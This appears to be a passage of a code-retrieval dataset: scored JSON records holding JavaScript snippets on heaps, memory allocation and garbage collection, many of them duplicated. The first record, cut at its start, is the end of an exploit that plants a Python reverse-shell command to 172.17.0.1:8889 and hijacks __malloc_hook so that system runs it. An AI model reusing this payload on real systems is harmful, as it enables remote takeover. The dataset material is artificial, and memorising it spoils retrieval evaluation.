'python -c \\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.17.0.1\",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\\'';\n for(var j=0; j < cmd.length; j++) {\n container[j] = cmd.charCodeAt(j);\n }\n container[j] = 0;\n\n // Overwrite __malloc_hook with system, and allocate a buffer of size equal \n // to the address of the container, so that system gets called instead with\n // a pointer to the cmd. The next malloc call will crash.\n new Uint8Array(new ArrayBuffer(FAKE_BIG_SIZE - 8)).set(\n addr_system.bytes(),\n 0xf0\n );\n new ArrayBuffer(cmd_addr);\n\n throw 'ERR_NO_SYSTEM_CALL';\n}", "title": "" }, { "docid": "ecd514b53f194390d11fce51acd141cf", "score": "0.5193958", "text": "function generatHeapMonitor(){}", "title": "" }, { "docid": "392ff2e21a34bc16ac7bdf868215f97e", "score": "0.50442517", "text": "call(handle) {\n this.ra = this.pc;\n this.pc = this.heap.getaddr(handle);\n }", "title": "" }, { "docid": "d9167d7038e927fd56fa5e017c304eed", "score": "0.5038123", "text": "function alloc_above_manager(expr) {\n var res\n do {\n for (var i = 0; i < ALLOCS; ++i) {\n structure_spray.push(eval(expr))\n }\n res = eval(expr)\n } while (stage1.addrof(res) < leak_addr)\n return res\n }", "title": "" }, { "docid": "d9f7b67cd77daa6e9f2a67afb742f9d5", "score": "0.5010689", "text": "call(handle) {\n this.ra = this.pc;\n this.pc = this.heap.getaddr(handle);\n }", "title": "" }, { "docid": "10e14cdf499b5638cd75ab9c407e4afc", "score": "0.5005227", "text": "function ALLOCATE_BUMP_TAIL() {\n A = BUMP_HEAD;\n GET_LINE();\n // assuming line of bump head may be occupied, start from next line from bump head\n A = BUMP_HEAD === HEAP[RES + LINE_ADDRESS_SLOT] ? RES : RES + LINE_BK_SIZE; // line node address in A\n GET_BLOCK();\n while (A <= RES + HEAP[RES + LAST_CHILD_SLOT] &&\n HEAP[A + LINE_ADDRESS_SLOT] === HEAP[A + LINE_LIMIT_SLOT]) {\n A = A + LINE_BK_SIZE;\n }\n // A should be first occupied line / line after last free line\n BUMP_TAIL = HEAP[A - LINE_BK_SIZE + LINE_ADDRESS_SLOT] + LINE_SIZE;\n}", "title": "" }, { "docid": "6314be2d02d904ca5b44c282f1dfea35", "score": "0.49187168", "text": "call(handle) {\n this.registers[$ra] = this.registers[$pc];\n this.setPc(this.heap.getaddr(handle));\n }", "title": "" }, { "docid": "4c6d1cc1379698fa45db1d1c49b91b9c", "score": "0.48416698", "text": "insertSegmentBelow() {\n if (this.ptr == 0) {\n throw \"this is disposed\";\n }\n instance().exports.RunEditor_insert_segment_below(this.ptr);\n }", "title": "" }, { "docid": "74232b9f098531fcb41a1cfe3249e0d3", "score": "0.48377004", "text": "_buildheap() {\n let workingIndex = Math.floor(this._size / 2); // starts at the midpoint\n for (let i = workingIndex; i > 0; i -= 1) {\n this._sink(i);\n }\n }", "title": "" }, { "docid": "97a2857b0bb8a1cc57f570af14efe32b", "score": "0.48272702", "text": "function BreakpointHit(addr)\n{\n //Insert code to handle the event here\n}", "title": "" }, { "docid": "5e04c040f77e9ba154178b1edbd480e3", "score": "0.48008195", "text": "nextFreePointer(size) {\n if (this.cpu.memallocinfo.allocatedRegions.length === 0) {\n return this.cpu.memallocinfo.heapStart;\n }\n }", "title": "" }, { "docid": "9cda840c572ceec26560dfe0c6229ae3", "score": "0.4784538", "text": "function NEW_BLOCK() {\n HEAP[A] = BLOCK_TAG;\n HEAP[A + SIZE_SLOT] = BLOCK_SIZE;\n HEAP[A + FIRST_CHILD_SLOT] = 6;\n HEAP[A + LAST_CHILD_SLOT] = 6 + (NUM_OF_LINES_PER_BLOCK - 1) * LINE_BK_SIZE;\n HEAP[A + MARK_SLOT] = UNMARKED; // mark slot will be used for mark status\n HEAP[A + BLOCK_STATE_SLOT] = FREE; // state slot will be used for determining to skip objects or not.\n\n // store line address in B\n B = A + HEAP[A + LAST_CHILD_SLOT] + LINE_BK_SIZE;\n // initialize line metadata\n for (let i = 0; i < NUM_OF_LINES_PER_BLOCK; i = i + 1) {\n C = A + HEAP[A + FIRST_CHILD_SLOT] + i * LINE_BK_SIZE; // C points at the virtual line node\n HEAP[C + LINE_ADDRESS_SLOT] = B;\n HEAP[C + LINE_MARK_SLOT] = UNMARKED;\n HEAP[C + LINE_LIMIT_SLOT] = B; // no occupied data yet\n // update address to next line\n B = B + LINE_SIZE;\n }\n // B is now pointing at end of the block\n RES = A;\n}", "title": "" }, { "docid": "334430da572a66afc58d446692a71573", "score": "0.4773998", "text": "function calculate_next_memory_location (ini, off){\n if (ini+off>=(sel_val['mem_cap'])){\n val=sel_val['mem_cap']-ini;\n ini=offset-val;\t\n } else {\n ini=ini+offset;\t\n }\n return ini;\n}", "title": "" }, { "docid": "b1344fe6d0162ef591a4e3a2a53e9e18", "score": "0.4758262", "text": "function spaceMap(){}", "title": "" }, { "docid": "6d5b16f09aa5fdfd1acd8c246fdb901b", "score": "0.47562012", "text": "allocate(size) {\n if (this.head + size > this.memory.length) {\n return null;\n }\n \n let start = this.head;\n \n this.head += size;\n return start;\n }", "title": "" }, { "docid": "4c2a25ce071252a351d9588e90784866", "score": "0.47285017", "text": "function GET_LINE() {\n C = math_floor(A / BLOCK_SIZE) * BLOCK_SIZE; // block address in C\n // find offset from start of block\n RES = HEAP[C + HEAP[C + FIRST_CHILD_SLOT] + LINE_ADDRESS_SLOT]; // start of addressable space in RES\n A = math_floor((A - RES) / LINE_SIZE); // line offset number in A\n RES = C + HEAP[C + FIRST_CHILD_SLOT] + A * LINE_BK_SIZE; // line node address in RES\n // debugging\n if (RES < 0) {\n error(RES, \"negative line number\");\n } else {}\n}", "title": "" }, { "docid": "c1d51b13f834782c9577deb82bb7b1c8", "score": "0.47178936", "text": "function bi_windup(s) {\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t }", "title": "" }, { "docid": "a8b291ca5ebd07216c8df06b4743b5c0", "score": "0.4695679", "text": "function libkernel_mem_test(mname, mtype, msize)\n{\n\tvar scekernel = libraries.SceLibKernel.functions;\n\t\n\tvar mname_addr = allocate_memory(mname.length + 1);\n\tvar mbase_ptr_addr = allocate_memory(0x4);\n\tmymemcpy(mname_addr, mname + \"\\x00\", mname.length);\n\t\n\tvar muid = scekernel.sceKernelAllocMemBlock(mname_addr, mtype, msize, 0);\n\tlogdbg(\"Allocated memory UID: 0x\" + muid.toString(16));\n\t\n\tvar base_result = scekernel.sceKernelGetMemBlockBase(muid, mbase_ptr_addr);\n\t\n\tif (base_result != 0x0)\n\t{\n\t\tlogdbg(\"Error: 0x\" + base_result.toString(16));\n return aspace\n\t}\n\t\n\tlogdbg(\"Memory base pointer: 0x\" + mbase_ptr_addr.toString(16));\n\t\n\tvar free_result = scekernel.sceKernelFreeMemBlock(muid);\n\t\n\tif (free_result != 0x0)\n\t{\n\t\tlogdbg(\"Error: 0x\" + free_result.toString(16));\n return aspace\n\t}\n\t\n\tlogdbg(\"Freed memory UID: 0x\" + muid.toString(16));\n}", "title": "" }, { "docid": "76d81cb7078c54efdbab5864c0557d86", "score": "0.4666396", "text": "insertSegmentAbove() {\n if (this.ptr == 0) {\n throw \"this is disposed\";\n }\n instance().exports.RunEditor_insert_segment_above(this.ptr);\n }", "title": "" }, { "docid": "1579c1c03f633ff3fa03df99d30c6410", "score": "0.46497506", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n\n\n\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n\n\n\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n\n\n\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n\n\n\n\n\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "1579c1c03f633ff3fa03df99d30c6410", "score": "0.46497506", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n\n\n\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n\n\n\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n\n\n\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n\n\n\n\n\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "7c1801333f6217c5d52626d80d465115", "score": "0.46371117", "text": "get _virtualEnd(){return this._virtualStart+this._physicalCount-1}", "title": "" }, { "docid": "7c1801333f6217c5d52626d80d465115", "score": "0.46371117", "text": "get _virtualEnd(){return this._virtualStart+this._physicalCount-1}", "title": "" }, { "docid": "7c1801333f6217c5d52626d80d465115", "score": "0.46371117", "text": "get _virtualEnd(){return this._virtualStart+this._physicalCount-1}", "title": "" }, { "docid": "7c1801333f6217c5d52626d80d465115", "score": "0.46371117", "text": "get _virtualEnd(){return this._virtualStart+this._physicalCount-1}", "title": "" }, { "docid": "1a7fa3a35c481da3fe45e7f441d526b0", "score": "0.46311197", "text": "function bi_windup(s)\r\n{\r\n if (s.bi_valid > 8) {\r\n put_short(s, s.bi_buf);\r\n } else if (s.bi_valid > 0) {\r\n //put_byte(s, (Byte)s->bi_buf);\r\n s.pending_buf[s.pending++] = s.bi_buf;\r\n }\r\n s.bi_buf = 0;\r\n s.bi_valid = 0;\r\n}", "title": "" }, { "docid": "1a7fa3a35c481da3fe45e7f441d526b0", "score": "0.46311197", "text": "function bi_windup(s)\r\n{\r\n if (s.bi_valid > 8) {\r\n put_short(s, s.bi_buf);\r\n } else if (s.bi_valid > 0) {\r\n //put_byte(s, (Byte)s->bi_buf);\r\n s.pending_buf[s.pending++] = s.bi_buf;\r\n }\r\n s.bi_buf = 0;\r\n s.bi_valid = 0;\r\n}", "title": "" }, { "docid": "8ab7732b6412a657d97f65cfc099070a", "score": "0.46260402", "text": "function bi_windup(s)\n {\n if (s.bi_valid > 8)\n {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0)\n {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n }", "title": "" }, { "docid": "cae87cbd2324bec8e44139de9dff9c3c", "score": "0.46173185", "text": "function bi_windup(s) {\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "f9060065338a89182655873ca6be88f0", "score": "0.46172997", "text": "function bi_windup(s)\n\t\t{\n\t\t if (s.bi_valid > 8) {\n\t\t put_short(s, s.bi_buf);\n\t\t } else if (s.bi_valid > 0) {\n\t\t //put_byte(s, (Byte)s->bi_buf);\n\t\t s.pending_buf[s.pending++] = s.bi_buf;\n\t\t }\n\t\t s.bi_buf = 0;\n\t\t s.bi_valid = 0;\n\t\t}", "title": "" }, { "docid": "1d98150d7440c99c9b939a914599ed11", "score": "0.4609592", "text": "function bi_windup(s){if(s.bi_valid>8){put_short(s,s.bi_buf);}else if(s.bi_valid>0){ //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++]=s.bi_buf;}s.bi_buf=0;s.bi_valid=0;}", "title": "" }, { "docid": "b1d55388db9982a4cdc57ce3631571c2", "score": "0.46046096", "text": "function bi_windup(s)\n\t{\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "b1d55388db9982a4cdc57ce3631571c2", "score": "0.46046096", "text": "function bi_windup(s)\n\t{\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "b1d55388db9982a4cdc57ce3631571c2", "score": "0.46046096", "text": "function bi_windup(s)\n\t{\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "b1d55388db9982a4cdc57ce3631571c2", "score": "0.46046096", "text": "function bi_windup(s)\n\t{\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "b1d55388db9982a4cdc57ce3631571c2", "score": "0.46046096", "text": "function bi_windup(s)\n\t{\n\t if (s.bi_valid > 8) {\n\t put_short(s, s.bi_buf);\n\t } else if (s.bi_valid > 0) {\n\t //put_byte(s, (Byte)s->bi_buf);\n\t s.pending_buf[s.pending++] = s.bi_buf;\n\t }\n\t s.bi_buf = 0;\n\t s.bi_valid = 0;\n\t}", "title": "" }, { "docid": "a3fa4aff5baa4bb2d533dd783ac3d7c4", "score": "0.46024966", "text": "check_block_entry() {\n var ref;\n return ref = this.peek(1), indexOf.call(C_LB + C_WS + '\\x00', ref) >= 0;\n }", "title": "" }, { "docid": "a84f1abf4fa06ed01657cec43a877d18", "score": "0.45907456", "text": "function bi_windup(s)\r\n {\r\n if (s.bi_valid > 8) {\r\n put_short(s, s.bi_buf);\r\n } else if (s.bi_valid > 0) {\r\n //put_byte(s, (Byte)s->bi_buf);\r\n s.pending_buf[s.pending++] = s.bi_buf;\r\n }\r\n s.bi_buf = 0;\r\n s.bi_valid = 0;\r\n }", "title": "" }, { "docid": "8e7fda48f2fb834c85fd14194fb3b7cc", "score": "0.45849583", "text": "constructor(){\n this.size = 0;\n this.heap = []; //focus pointer is the place the next insertion should take place.\n }", "title": "" }, { "docid": "9c3711b9857ac70da0526355510b5717", "score": "0.45727223", "text": "function POP_OS() {\n B = HEAP[OS + LAST_CHILD_SLOT]; // address of current top of OS\n HEAP[OS + LAST_CHILD_SLOT] = B - 1; // update address of current top of OS\n RES = HEAP[OS + B];\n}", "title": "" }, { "docid": "1a2b8814203621e7c2f539948f960c3e", "score": "0.45571607", "text": "function MARK() {\n display(\"MARK!\");\n // keep old TOP_RTS to prevent deleting stacks\n B = TOP_RTS;\n // init roots for dfs\n for (I = 0; I <= B; I = I + 1) {\n A = RTS[I]; // add all rts stacks\n PUSH_RTS();\n }\n A = OS;\n PUSH_RTS(); // add current os\n A = ENV;\n PUSH_RTS(); // add current env\n\n while (B < TOP_RTS) {\n POP_RTS();\n SCAN = RES;\n // mark node\n HEAP[SCAN + MARK_SLOT] = MARKED;\n // mark node's block\n CURR_BLOCK = math_floor(SCAN / BLOCK_SIZE) * BLOCK_SIZE;\n HEAP[CURR_BLOCK + MARK_SLOT] = MARKED;\n // mark node's start line to end line\n A = SCAN;\n GET_LINE();\n A = RES;\n while (\n A <= HEAP[CURR_BLOCK + LAST_CHILD_SLOT] &&\n HEAP[A + LINE_ADDRESS_SLOT] <= SCAN + HEAP[SCAN + SIZE_SLOT]\n ) {\n HEAP[A + LINE_MARK_SLOT] = MARKED;\n A = A + LINE_BK_SIZE;\n }\n for (\n I = HEAP[SCAN + FIRST_CHILD_SLOT];\n I <= HEAP[SCAN + LAST_CHILD_SLOT];\n I = I + 1\n ) {\n // child is invalid or not yet loaded\n if (HEAP[SCAN + I] === undefined) { continue; } else {}\n\n A = HEAP[SCAN + I]; // address of child\n GET_LINE();\n A = HEAP[SCAN + I]; // address of child\n\n if (\n // child is marked and corresponding line also marked\n HEAP[A + MARK_SLOT] === MARKED &&\n HEAP[RES + LINE_MARK_SLOT] === MARKED\n ) {\n } else {\n PUSH_RTS();\n }\n }\n }\n}", "title": "" }, { "docid": "43b4bc8dc96be5aeeebe375b1825830b", "score": "0.4556318", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; 